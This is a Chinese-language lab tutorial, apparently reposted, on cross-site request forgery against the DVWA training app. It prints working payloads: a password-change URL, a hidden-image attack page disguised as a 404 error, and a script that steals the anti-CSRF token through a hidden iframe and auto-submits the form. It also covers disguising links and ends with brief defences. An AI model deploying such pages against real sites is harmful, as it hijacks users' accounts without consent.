CSRF跨站請求偽造


簡介

CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。

在沒有關閉相關網頁的情況下,點擊其他人發來的CSRF鏈接,利用客戶端的cookie直接向服務器發送請求。

DVWA測試

low級別

當你登錄之后,在沒有關閉網頁的情況下,收到別人的鏈接。

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#

點擊鏈接,會利用瀏覽器的cookie把密碼改掉。

如果頁面已經關掉,或者打開鏈接的瀏覽器不是登錄網站的瀏覽器那么這個csrf的攻擊是都沒用的。

medium級別

Medium級別的代碼檢查是否包含HTTP_REFERERhttp包頭的Referer參數的值,表示來源地址),是否包含SERVER_NAMEhttp包頭的Host參數,表示要訪問的主機名),通過這種機制抵御CSRF攻擊。

制作攻擊頁面,將頁面部署在服務器上,這樣就會有Referer,直接點擊鏈接的請求是沒有refer的。

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>
<h2>page not found.<h2>

high級別

High級別的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器會返回一個隨機的token,向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。

頁面中要先獲取token

<script type="text/javascript">
  function attack()
  {
    document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    document.getElementById("transfer").submit(); 
  }
</script>

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()"> <form method="GET" id="transfer" action="http://127.0.0.1/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="123"> <input type="hidden" name="password_conf" value="123"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>

CSRF偽裝

生成短連接,可以偽裝url,防止根據鏈接看出內容

構造攻擊頁面,把網頁部署好,然后鏈接發給其他人,當其他人點擊鏈接的時候,會顯示404,這時候會以為點了一個無效的鏈接。但是其中的img的src會請求一次。

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>
<h2>page not found.<h2>

防御

檢測Referer

Anti-CSRF token機制

業務上要求用戶輸入原始密碼(簡單粗暴),攻擊者在不知道原始密碼的情況下,無論如何都無法進行CSRF攻擊。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM